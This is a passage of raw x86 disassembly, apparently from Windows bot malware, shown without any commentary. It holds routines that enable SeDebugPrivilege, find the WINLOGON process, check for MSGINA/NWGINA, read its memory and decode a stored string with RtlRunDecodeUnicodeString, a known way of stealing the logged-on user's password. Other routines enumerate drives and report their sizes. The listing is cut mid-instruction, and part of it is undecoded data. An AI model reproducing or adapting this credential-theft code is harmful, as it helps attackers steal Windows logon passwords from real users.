[ebp-304h], offset dword_43D808 push 1 mov [ebp-2E0h], si pop edi push eax lea eax, [ebp-310h] push eax push esi push esi push 28h push esi push esi lea eax, [ebp-148h] push esi push eax push esi mov [ebp-2E4h], edi call near ptr 2660C3Bh nop cmp eax, edi jnz short loc_416878 call dword_4CB5AC call sub_41835A push esi call near ptr 77E75CB5h nop loc_416878: ; CODE XREF: ___:00416864j lea eax, [ebp-148h] push eax push offset unk_437D68 jmp short loc_416892 ; --------------------------------------------------------------------------- loc_416886: ; CODE XREF: ___:0041643Fj lea eax, [ebp-248h] push eax push offset unk_437D3C loc_416892: ; CODE XREF: ___:00416884j lea eax, [ebp-510h] push eax call sub_41B886 add esp, 0Ch cmp [ebp-30h], esi jnz short loc_4168C6 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A73 add esp, 14h loc_4168C6: ; CODE XREF: ___:004168A4j lea eax, [ebp-510h] push eax call sub_4151AD pop ecx loc_4168D3: ; CODE XREF: ___:00416696j ; ___:0041671Fj ... push dword ptr [ebp-18h] call dword_4CB688 push dword ptr [ebp-48h] call sub_40B413 pop ecx push esi call near ptr 26E0000h nop ; =============== S U B R O U T I N E ======================================= sub_4168EC proc near ; CODE XREF: ___:00416518p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] xor ecx, ecx cmp [esp+arg_4], ecx jle short locret_416908 loc_4168F8: ; CODE XREF: sub_4168EC+1Aj mov dl, byte_429094 xor [ecx+eax], dl inc ecx cmp ecx, [esp+arg_4] jl short loc_4168F8 locret_416908: ; CODE XREF: sub_4168EC+Aj retn sub_4168EC endp ; =============== S U B R O U T I N E ======================================= sub_416909 proc near ; CODE XREF: sub_401ACD+5842p ; sub_401ACD+596Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_41D3BE pop ecx pop ecx xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl mov eax, ecx retn sub_416909 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416923 proc near ; CODE XREF: sub_40F96B+458p ; sub_40F96B+5FDp ... var_38 = byte ptr -38h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h and [ebp+var_4], 0 push ebx push esi push edi push 32h mov edi, offset dword_4D3288 push 0 push edi call sub_41B590 mov ebx, [ebp+arg_0] add esp, 0Ch lea esi, [ebp+var_38] loc_416948: ; CODE XREF: sub_416923+5Bj ; sub_416923+61j push 0 push 0Ah push [ebp+arg_4] push ebx call sub_41D480 push 0 push 0Ah push [ebp+arg_4] add al, 30h mov [esi], al inc esi push ebx call sub_41D410 mov ebx, eax or eax, edx mov [ebp+arg_4], edx jz short loc_416986 inc [ebp+var_4] push 3 mov eax, [ebp+var_4] pop ecx cdq idiv ecx test edx, edx jnz short loc_416948 mov byte ptr [esi], 2Ch inc esi jmp short loc_416948 ; --------------------------------------------------------------------------- loc_416986: ; CODE XREF: sub_416923+4Bj dec esi mov eax, edi loc_416989: ; CODE XREF: sub_416923+73j lea ecx, [ebp+var_38] cmp esi, ecx jb short loc_416998 mov cl, [esi] mov [eax], cl inc eax dec esi jmp short loc_416989 ; --------------------------------------------------------------------------- loc_416998: ; CODE XREF: sub_416923+6Bj and byte ptr [eax], 0 mov eax, edi pop edi pop esi pop ebx leave retn sub_416923 endp ; =============== S U B R O U T I N E ======================================= sub_4169A2 proc near ; CODE XREF: sub_416B57+51p ; sub_416B57+87p arg_0 = dword ptr 4 push [esp+arg_0] call dword_4CB6B4 sub eax, 0 jz short loc_4169E5 dec eax jz short loc_4169DF dec eax dec eax jz short loc_4169D9 dec eax jz short loc_4169D3 dec eax jz short loc_4169CD dec eax jz short loc_4169C7 mov eax, offset word_437F2C retn ; --------------------------------------------------------------------------- loc_4169C7: ; CODE XREF: sub_4169A2+1Dj mov eax, offset off_437F28 retn ; --------------------------------------------------------------------------- loc_4169CD: ; CODE XREF: sub_4169A2+1Aj mov eax, offset aCdrom ; "Cdrom" retn ; --------------------------------------------------------------------------- loc_4169D3: ; CODE XREF: sub_4169A2+17j mov eax, offset aNetwork ; "Network" retn ; --------------------------------------------------------------------------- loc_4169D9: ; CODE XREF: sub_4169A2+14j mov eax, offset aDisk ; "Disk" retn ; --------------------------------------------------------------------------- loc_4169DF: ; CODE XREF: sub_4169A2+10j mov eax, offset aInvalid ; "Invalid" retn ; --------------------------------------------------------------------------- loc_4169E5: ; CODE XREF: sub_4169A2+Dj mov eax, offset aUnknown ; "Unknown" retn sub_4169A2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4169EB proc near ; CODE XREF: sub_416A33+12p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h or eax, 0FFFFFFFFh mov [ebp+var_18], eax mov [ebp+var_14], eax mov [ebp+var_10], eax mov [ebp+var_C], eax mov [ebp+var_8], eax mov [ebp+var_4], eax mov eax, dword_4CB544 test eax, eax jz short loc_416A20 lea ecx, [ebp+var_10] push ecx lea ecx, [ebp+var_8] push ecx lea ecx, [ebp+var_18] push ecx push [ebp+arg_4] call eax loc_416A20: ; CODE XREF: sub_4169EB+22j mov eax, [ebp+arg_0] push esi push edi push 6 pop ecx lea esi, [ebp+var_18] mov edi, eax rep movsd pop edi pop esi leave retn sub_4169EB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416A33 proc near ; CODE XREF: sub_416B57+17p ; sub_41AA43+1F3p var_198 = byte ptr -198h var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 198h push esi push edi push [ebp+arg_4] lea eax, [ebp+var_18] push eax call sub_4169EB pop ecx mov esi, eax pop ecx lea edi, [ebp+var_18] push 6 pop ecx rep movsd mov eax, [ebp+var_18] and eax, [ebp+var_14] cmp eax, 0FFFFFFFFh jz loc_416B11 mov eax, [ebp+var_10] and eax, [ebp+var_C] cmp eax, 0FFFFFFFFh jz loc_416B11 mov eax, [ebp+var_8] and eax, [ebp+var_4] cmp eax, 0FFFFFFFFh jz loc_416B11 push ebx mov ebx, 400h push 0 push ebx push [ebp+var_14] push [ebp+var_18] call sub_41D500 push edx push eax call sub_416923 pop ecx mov edi, offset aSkb ; "%sKB" pop ecx mov esi, 80h push eax push edi lea eax, [ebp+var_198] push esi push eax call sub_41B980 add esp, 10h push 0 push ebx push [ebp+var_C] push [ebp+var_10] call sub_41D500 push edx push eax call sub_416923 pop ecx pop ecx push eax push edi lea eax, [ebp+var_118] push esi push eax call sub_41B980 add esp, 10h push 0 push ebx push [ebp+var_4] push [ebp+var_8] call sub_41D500 push edx push eax call sub_416923 pop ecx pop ecx push eax push edi lea eax, [ebp+var_98] push esi push eax call sub_41B980 add esp, 10h pop ebx jmp short loc_416B43 ; --------------------------------------------------------------------------- loc_416B11: ; CODE XREF: sub_416A33+2Cj ; sub_416A33+3Bj ... mov esi, offset aFailed ; "failed" lea eax, [ebp+var_198] push esi push eax call sub_41B886 pop ecx lea eax, [ebp+var_118] pop ecx push esi push eax call sub_41B886 pop ecx lea eax, [ebp+var_98] pop ecx push esi push eax call sub_41B886 pop ecx pop ecx loc_416B43: ; CODE XREF: sub_416A33+DCj mov eax, [ebp+arg_0] push 60h pop ecx lea esi, [ebp+var_198] mov edi, eax rep movsd pop edi pop esi leave retn sub_416A33 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416B57 proc near ; CODE XREF: sub_416C29+17p ; sub_416C29+60p var_500 = byte ptr -500h var_300 = byte ptr -300h var_180 = byte ptr -180h var_100 = byte ptr -100h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 500h push ebx mov ebx, [ebp+arg_C] push esi push edi lea eax, [ebp+var_300] push ebx push eax call sub_416A33 push 60h mov esi, eax pop ecx lea edi, [ebp+var_300] rep movsd push 60h lea esi, [ebp+var_300] pop ecx lea edi, [ebp+var_180] lea eax, [ebp+var_80] push offset aFailed ; "failed" rep movsd push eax call sub_41C070 add esp, 10h test eax, eax jnz short loc_416BCA push ebx push ebx call sub_4169A2 pop ecx push eax push offset unk_437F7C lea eax, [ebp+var_500] push 200h push eax call sub_41B980 add esp, 14h jmp short loc_416BFE ; --------------------------------------------------------------------------- loc_416BCA: ; CODE XREF: sub_416B57+4Dj lea eax, [ebp+var_180] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_80] push eax push ebx push ebx call sub_4169A2 pop ecx push eax push offset unk_437F40 lea eax, [ebp+var_500] push 200h push eax call sub_41B980 add esp, 20h loc_416BFE: ; CODE XREF: sub_416B57+71j push 1 lea eax, [ebp+var_500] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A73 lea eax, [ebp+var_500] push eax call sub_4151AD add esp, 18h pop edi pop esi pop ebx leave retn sub_416B57 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416C29 proc near ; CODE XREF: sub_401ACD+2554p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx xor ebx, ebx cmp [ebp+arg_C], ebx jz short loc_416C4A push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_416B57 add esp, 10h jmp short loc_416CAB ; --------------------------------------------------------------------------- loc_416C4A: ; CODE XREF: sub_416C29+9j push esi push edi push ebx push ebx call dword_4CB5BC lea esi, [eax+2] push esi call sub_41B4D5 pop ecx mov edi, eax push edi push esi call dword_4CB5BC cmp [edi], bl mov esi, edi jz short loc_416CA2 loc_416C6E: ; CODE XREF: sub_416C29+77j push offset aA_1 ; "A:\\" push esi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_416C91 push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_416B57 add esp, 10h loc_416C91: ; CODE XREF: sub_416C29+54j push esi call sub_41AFE0 cmp [esi+eax+1], bl lea esi, [esi+eax+1] pop ecx jnz short loc_416C6E loc_416CA2: ; CODE XREF: sub_416C29+43j push edi call sub_41B0B1 pop ecx pop edi pop esi loc_416CAB: ; CODE XREF: sub_416C29+1Fj pop ebx pop ebp retn sub_416C29 endp ; --------------------------------------------------------------------------- word_416CAE dw 8B55h ; DATA XREF: sub_401ACD+68A0o dd 9CEC81ECh, 8B000004h, 56530845h, 0A7B957h, 0F08B0000h dd 0FD64BD8Dh, 0A5F3FFFFh, 29880C7h, 10000h, 858D0000h dd 0FFFFFEECh, 42FEE850h, 0DB330000h, 0EB05BC80h, 5CFFFFFEh dd 8D147559h, 0FFFEEC85h, 0E5E850FFh, 59000042h, 0EB059C88h dd 8DFFFFFEh, 0FFFDE885h, 0DC6850FFh, 8D00437Fh, 0FFFB6485h dd 20068FFh, 0E8500000h, 4C60h, 3910C483h, 2075F85Dh, 64858D53h dd 0FFFFFFFBh, 8D50F475h, 0FFFD6885h, 0B5FF50FFh, 0FFFFFD64h dd 0FF2D2EE8h, 14C483FFh, 0FEEC858Dh, 5053FFFFh, 0FDE8858Dh dd 8D50FFFFh, 0FFFD6885h, 0F475FFFFh, 64B5FF50h, 0E8FFFFFDh dd 5Dh, 5018C483h, 0FB64858Dh, 0BC68FFFFh, 5000437Fh, 4B05E8h dd 0CC48300h, 75F85D39h, 858D5320h, 0FFFFFB64h, 50F475FFh dd 0FD68858Dh, 0FF50FFFFh, 0FFFD64B5h, 2CCDE8FFh, 0C483FFFFh dd 64858D14h, 50FFFFFBh, 0FFE3F8E8h, 0F075FFFFh, 0FF4656E8h dd 535959FFh, 923AE890h, 5E5F022Ch, 0EC8B555Bh, 54CEC81h dd 56530000h, 104BE57h, 75FF0000h, 0B8858D18h, 68FFFFFDh dd 438020h, 91E85056h, 8B00004Bh, 4270003Dh, 10C48300h dd 0FEBC858Dh, 8D50FFFFh, 0FFFDB885h, 0D7FF50FFh, 89FFF883h dd 0C4BBFC45h, 7400429Ah, 0BC85F671h, 10FFFFFEh, 0BD805474h dd 0FFFFFEE8h, 8012752Eh, 0FFFEE9BDh, 427400FFh, 0FEE9BD80h dd 742EFFFFh, 0E8858D39h, 50FFFFFEh, 0FCB4858Dh, 75FFFFFFh dd 50565318h, 4B2FE8h, 1C75FF00h, 0FCB4858Dh, 0FF50FFFFh dd 75FF1475h, 0C75FF10h, 0E80875FFh, 0FFFFFF5Dh, 892CC483h dd 858D1C45h, 0FFFFFEBCh, 0FC75FF50h, 952BE890h, 0C0850233h dd 75FF8F75h, 71E890FCh, 0FF023291h, 858D1475h, 0FFFFFDB8h dd 531875FFh, 0DDE85056h, 8300004Ah, 858D14C4h, 0FFFFFEBCh dd 0B8858D50h, 50FFFFFDh, 0F08BD7FFh, 74FFFE83h, 0E8858D4Fh dd 0FFFFFFFEh, 8D501C45h, 0FFFAB485h, 1875FFFFh, 43800468h dd 2006800h, 0E8500000h, 4AA0h, 858D016Ah, 0FFFFFAB4h dd 501075FFh, 0FF0C75FFh, 7CE80875h, 83FFFF2Bh, 858D28C4h dd 0FFFFFEBCh, 0A6E85650h, 90023394h, 0B175C085h, 0EDE89056h dd 8B023290h, 5E5F1C45h ; --------------------------------------------------------------------------- pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416F1B proc near ; DATA XREF: sub_401ACD+1CD0o var_29C = byte ptr -29Ch var_9C = dword ptr -9Ch var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 29Ch mov eax, [ebp+arg_0] push esi push edi push 25h pop ecx mov esi, eax lea edi, [ebp+var_9C] push 1 rep movsd pop esi mov [eax+90h], esi call sub_41A8F5 cmp eax, esi mov [ebp+var_4], eax jz short loc_416F5A cmp eax, 2 jz short loc_416F5A push offset unk_4381F8 jmp loc_417099 ; --------------------------------------------------------------------------- loc_416F5A: ; CODE XREF: sub_416F1B+2Ej ; sub_416F1B+33j push esi push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419652 pop ecx test eax, eax pop ecx jz loc_417094 push ebx push offset aNtdll_dll ; "NTDLL.DLL" nop call near ptr 26A0B0Dh mov esi, dword_4270BC mov edi, eax push offset aNtquerysystemi ; "NtQuerySystemInformation" push edi mov [ebp+var_8], edi call esi push offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer" push edi mov dword_4D44CC, eax call esi push offset aRtlqueryproces ; "RtlQueryProcessDebugInformation" push edi mov dword_4D44C0, eax call esi push offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer" push edi mov dword_4D46D0, eax call esi push offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString" push edi mov dword_4D44C8, eax call esi mov dword_4D44C4, eax call sub_4170ED test eax, eax mov [ebp+arg_0], eax jz loc_417067 mov esi, dword_42713C mov edi, 400h mov ebx, offset dword_4D34C0 push edi push ebx push offset off_438134 call esi push edi mov edi, offset dword_4D3CC0 push edi push offset off_43811C call esi cmp [ebp+var_4], 1 push offset dword_4D46D8 push [ebp+arg_0] jnz short loc_417013 call sub_417276 jmp short loc_417018 ; --------------------------------------------------------------------------- loc_417013: ; CODE XREF: sub_416F1B+EFj call sub_41741D loc_417018: ; CODE XREF: sub_416F1B+F6j pop ecx test eax, eax pop ecx jz short loc_417060 cmp dword_4D46D8, 0 jnz short loc_417047 push ebx push edi push [ebp+arg_0] lea eax, [ebp+var_29C] push offset unk_4380C0 push 200h push eax call sub_41B980 add esp, 18h jmp short loc_41707A ; --------------------------------------------------------------------------- loc_417047: ; CODE XREF: sub_416F1B+10Aj cmp [ebp+var_4], 1 push [ebp+arg_0] jnz short loc_417057 call sub_417553 jmp short loc_41705C ; --------------------------------------------------------------------------- loc_417057: ; CODE XREF: sub_416F1B+133j call sub_4175EA loc_41705C: ; CODE XREF: sub_416F1B+13Aj pop ecx push eax jmp short loc_41706C ; --------------------------------------------------------------------------- loc_417060: ; CODE XREF: sub_416F1B+101j push offset unk_438088 jmp short loc_41706C ; --------------------------------------------------------------------------- loc_417067: ; CODE XREF: sub_416F1B+B6j push offset unk_43805C loc_41706C: ; CODE XREF: sub_416F1B+143j ; sub_416F1B+14Aj lea eax, [ebp+var_29C] push eax call sub_41B886 pop ecx pop ecx loc_41707A: ; CODE XREF: sub_416F1B+12Aj push 0 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419652 pop ecx pop ecx push [ebp+var_8] nop call near ptr 278079Dh pop ebx jmp short loc_4170A7 ; --------------------------------------------------------------------------- loc_417094: ; CODE XREF: sub_416F1B+4Ej push offset unk_438028 loc_417099: ; CODE XREF: sub_416F1B+3Aj lea eax, [ebp+var_29C] push eax call sub_41B886 pop ecx pop ecx loc_4170A7: ; CODE XREF: sub_416F1B+177j xor esi, esi cmp [ebp+var_10], esi jnz short loc_4170CE push esi lea eax, [ebp+var_29C] push [ebp+var_14] push eax lea eax, [ebp+var_98] push eax push [ebp+var_9C] call sub_409A73 add esp, 14h loc_4170CE: ; CODE XREF: sub_416F1B+191j lea eax, [ebp+var_29C] push eax call sub_4151AD push [ebp+var_18] call sub_40B413 pop ecx pop ecx push esi nop call near ptr 26E0000h pop edi pop esi sub_416F1B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4170ED proc near ; CODE XREF: sub_416F1B+ACp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 18h and [esp+18h+var_4], 0 and [esp+18h+var_14], 0 push ebx push ebp push esi mov esi, dword_427148 mov ebx, 100h push edi push ebx push 8 call esi mov edi, dword_427144 push eax call edi mov ebp, eax lea eax, [esp+28h+var_14] push eax push ebx push ebp push 10h call dword_4D44CC push ebp push 0 call esi push eax nop call near ptr 2790000h push [esp+28h+var_14] push 8 call esi push eax call edi mov ebp, eax mov eax, [esp+28h+var_14] lea ecx, [esp+28h+var_C] mov [esp+28h+var_C], eax push ecx push eax push ebp push 10h call dword_4D44CC test eax, eax jnz short loc_4171DA mov eax, [esp+28h+var_C] shr eax, 4 mov [esp+28h+var_10], eax jz short loc_4171DA push 1 mov ebx, ebp pop ecx cmp eax, ecx mov [esp+28h+var_18], ecx jb short loc_4171DA loc_417176: ; CODE XREF: sub_4170ED+EBj cmp word ptr [ebx+8], 5 jnz short loc_4171CD push 0 push 0 call dword_4D44C0 mov edi, eax push edi push 1 push dword ptr [ebx+4] call dword_4D46D0 test eax, eax jnz short loc_4171BE mov eax, [edi+60h] push offset aWinlogon ; "WINLOGON" mov [esp+2Ch+var_8], eax lea eax, [edi+80h] push eax call sub_41D5AA pop ecx push eax call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4171F2 loc_4171BE: ; CODE XREF: sub_4170ED+AAj test edi, edi jz short loc_4171C9 push edi call dword_4D44C8 loc_4171C9: ; CODE XREF: sub_4170ED+D3j mov eax, [esp+28h+var_10] loc_4171CD: ; CODE XREF: sub_4170ED+8Ej add ebx, 10h inc [esp+28h+var_18] cmp [esp+28h+var_18], eax jbe short loc_417176 loc_4171DA: ; CODE XREF: sub_4170ED+6Dj ; sub_4170ED+7Aj ... xor edi, edi loc_4171DC: ; CODE XREF: sub_4170ED+17Dj push ebp push 0 call esi push eax call near ptr 2790000h nop mov eax, edi loc_4171EA: ; CODE XREF: sub_4170ED+184j pop edi pop esi pop ebp pop ebx add esp, 18h retn ; --------------------------------------------------------------------------- loc_4171F2: ; CODE XREF: sub_4170ED+CFj and [esp+28h+var_10], 0 cmp [esp+28h+var_8], 0 jbe short loc_41725B lea eax, [edi+80h] mov [esp+28h+var_18], eax loc_417208: ; CODE XREF: sub_4170ED+16Cj add [esp+28h+var_18], 11Ch push offset aNwgina ; "NWGINA" push [esp+2Ch+var_18] call sub_41D5AA pop ecx push eax call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41726F push offset aMsgina ; "MSGINA" push [esp+2Ch+var_18] call sub_41D5AA pop ecx push eax call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41724D mov eax, [ebx+4] mov [esp+28h+var_4], eax loc_41724D: ; CODE XREF: sub_4170ED+157j inc [esp+28h+var_10] mov eax, [esp+28h+var_10] cmp eax, [esp+28h+var_8] jb short loc_417208 loc_41725B: ; CODE XREF: sub_4170ED+10Fj test edi, edi jz short loc_417266 push edi call dword_4D44C8 loc_417266: ; CODE XREF: sub_4170ED+170j mov edi, [esp+28h+var_4] jmp loc_4171DC ; --------------------------------------------------------------------------- loc_41726F: ; CODE XREF: sub_4170ED+13Cj xor eax, eax jmp loc_4171EA sub_4170ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417276 proc near ; CODE XREF: sub_416F1B+F1p var_64 = byte ptr -64h var_60 = dword ptr -60h var_40 = byte ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2B = byte ptr -2Bh var_24 = byte ptr -24h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 64h push esi xor esi, esi push [ebp+arg_0] mov [ebp+var_10], esi push esi push 410h nop call near ptr 26803B1h cmp eax, esi mov [ebp+var_4], eax jnz short loc_41729F xor eax, eax jmp loc_41741A ; --------------------------------------------------------------------------- loc_41729F: ; CODE XREF: sub_417276+20j mov eax, [ebp+arg_4] push ebx push edi mov [eax], esi lea eax, [ebp+var_64] push eax nop call near ptr 27B02D9h push [ebp+var_60] mov [ebp+var_8], esi mov esi, dword_427148 push 8 call esi mov edi, dword_427144 push eax call edi lea ecx, [ebp+var_8] mov ebx, dword_427150 push ecx mov [ebp+arg_0], eax push [ebp+var_60] push eax push 7FFDF000h push [ebp+var_4] call ebx test eax, eax jnz short loc_4172EF xor esi, esi jmp loc_41740D ; --------------------------------------------------------------------------- loc_4172EF: ; CODE XREF: sub_417276+70j lea eax, [ebp+var_40] push 1Ch push eax mov eax, [ebp+arg_0] push dword ptr [eax+18h] push [ebp+var_4] nop call near ptr 27A0C56h test eax, eax jz loc_4173FC mov ecx, [ebp+var_30] mov eax, 1000h and ecx, eax cmp ecx, eax jnz loc_4173FC test [ebp+var_2B], 1 jnz loc_4173FC push [ebp+var_34] push 8 call esi push eax call edi mov edi, eax lea eax, [ebp+var_8] push eax mov eax, [ebp+arg_0] push [ebp+var_34] mov [ebp+var_C], edi push edi push dword ptr [eax+18h] push [ebp+var_4] call ebx test eax, eax jz loc_4173FC loc_417352: ; CODE XREF: sub_417276+112j push edi push offset dword_4D34C0 call sub_426762 pop ecx test eax, eax pop ecx jnz short loc_41737A lea eax, [edi+200h] push eax push offset dword_4D3CC0 call sub_426762 pop ecx test eax, eax pop ecx jz short loc_41738A loc_41737A: ; CODE XREF: sub_417276+EBj mov eax, [ebp+var_34] mov ecx, [ebp+var_C] inc edi add eax, ecx inc edi cmp edi, eax jnb short loc_4173FC jmp short loc_417352 ; --------------------------------------------------------------------------- loc_41738A: ; CODE XREF: sub_417276+102j test edi, edi jz short loc_4173FC lea eax, [ebp+var_14] push eax lea eax, [edi+410h] push eax nop call near ptr 2750000h test eax, eax jz short loc_4173C5 lea eax, [ebp+var_24] push eax lea eax, [ebp+var_14] push eax nop call near ptr 274085Fh test eax, eax jz short loc_4173C5 mov al, [edi+42Ch] mov ecx, [ebp+arg_4] shr eax, 1 and eax, 7Fh mov [ecx], eax loc_4173C5: ; CODE XREF: sub_417276+12Bj ; sub_417276+13Dj movzx eax, word ptr [edi+42Ch] shr eax, 8 mov dword_4D46E4, eax mov eax, [ebp+arg_0] mov [ebp+var_10], 1 mov eax, [eax+18h] sub eax, [ebp+var_C] lea eax, [eax+edi+434h] add edi, 434h mov dword_4D46DC, eax mov dword_4D46E0, edi loc_4173FC: ; CODE XREF: sub_417276+90j ; sub_417276+A2j ... push [ebp+arg_0] push 0 call esi push eax nop call near ptr 2790000h mov esi, [ebp+var_10] loc_41740D: ; CODE XREF: sub_417276+74j push [ebp+var_4] call near ptr 2660919h nop pop edi mov eax, esi pop ebx loc_41741A: ; CODE XREF: sub_417276+24j pop esi leave retn sub_417276 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41741D proc near ; CODE XREF: sub_416F1B:loc_417013p var_4C = byte ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_28 = byte ptr -28h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_13 = byte ptr -13h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 4Ch push ebx push esi push edi push [ebp+arg_0] push 0 push 410h nop call near ptr 26803B1h test eax, eax mov [ebp+arg_0], eax jz loc_41750F mov eax, [ebp+arg_4] and dword ptr [eax], 0 lea eax, [ebp+var_4C] push eax call near ptr 27B02D9h nop mov ebx, [ebp+var_44] mov eax, [ebp+var_40] cmp ebx, eax mov [ebp+var_C], eax jnb loc_417506 mov edi, dword_427148 loc_417468: ; CODE XREF: sub_41741D+E3j lea eax, [ebp+var_28] push 1Ch push eax push ebx push [ebp+arg_0] nop call near ptr 27A0C56h test eax, eax jz short loc_4174F4 mov edx, [ebp+var_18] mov ecx, [ebp+var_1C] mov eax, 1000h mov [ebp+var_4], ecx and edx, eax cmp edx, eax jnz short loc_4174FA test [ebp+var_13], 1 jnz short loc_4174FA push ecx push 8 call edi push eax nop call near ptr 27A0000h mov esi, eax lea eax, [ebp+var_8] push eax and [ebp+var_8], 0 push [ebp+var_1C] push esi push ebx push [ebp+arg_0] nop call near ptr 27B0000h test eax, eax jz short loc_4174E6 push offset dword_4D34C0 push esi call sub_426762 pop ecx test eax, eax pop ecx jnz short loc_4174E6 lea eax, [esi+400h] push offset dword_4D3CC0 push eax call sub_426762 pop ecx test eax, eax pop ecx jz short loc_417516 loc_4174E6: ; CODE XREF: sub_41741D+9Fj ; sub_41741D+B0j push esi push 0 call edi push eax call near ptr 2790000h nop jmp short loc_4174FA ; --------------------------------------------------------------------------- loc_4174F4: ; CODE XREF: sub_41741D+5Dj mov eax, [ebp+var_48] mov [ebp+var_4], eax loc_4174FA: ; CODE XREF: sub_41741D+71j ; sub_41741D+77j ... add ebx, [ebp+var_4] cmp ebx, [ebp+var_C] jb loc_417468 loc_417506: ; CODE XREF: sub_41741D+3Fj push [ebp+arg_0] nop call near ptr 2660919h loc_41750F: ; CODE XREF: sub_41741D+1Ej xor eax, eax loc_417511: ; CODE XREF: sub_41741D+134j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_417516: ; CODE XREF: sub_41741D+C7j add ebx, 800h lea eax, [esi+800h] xor ecx, ecx mov dword_4D46DC, ebx mov dword_4D46E0, eax cmp [eax], cl jnz short loc_417538 cmp [eax+1], cl jz short loc_417540 loc_417538: ; CODE XREF: sub_41741D+114j ; sub_41741D+121j inc ecx inc eax inc eax cmp byte ptr [eax], 0 jnz short loc_417538 loc_417540: ; CODE XREF: sub_41741D+119j mov eax, [ebp+arg_4] push [ebp+arg_0] mov [eax], ecx nop call near ptr 2660919h push 1 pop eax jmp short loc_417511 sub_41741D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417553 proc near ; CODE XREF: sub_416F1B+135p var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_4D46D8 push esi mov esi, dword_427148 push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_6], ax mov [ebp+var_8], cx movzx eax, ax push eax push 8 call esi push eax nop call near ptr 27A0000h mov ecx, dword_4D46D8 mov [ebp+var_4], eax add ecx, ecx push ecx push dword_4D46E0 push eax call sub_41C310 add esp, 0Ch lea eax, [ebp+var_8] push eax mov al, byte ptr dword_4D46E4 push eax call dword_4D44C4 push [ebp+var_4] mov edi, offset dword_4D44D0 push offset dword_4D34C0 push offset dword_4D3CC0 push [ebp+arg_0] push offset dword_438244 push 200h push edi call sub_41B980 add esp, 1Ch push [ebp+var_4] push 0 call esi push eax call near ptr 2790000h nop mov eax, edi pop edi pop esi leave retn sub_417553 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4175EA proc near ; CODE XREF: sub_416F1B:loc_417057p var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h mov eax, dword_4D46D8 push ebx push esi push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_16], ax mov [ebp+var_18], cx movzx eax, ax push eax push 8 nop call near ptr 27A0BE2h push eax call near ptr 27A0000h nop and [ebp+var_C], 0 mov [ebp+var_14], eax mov 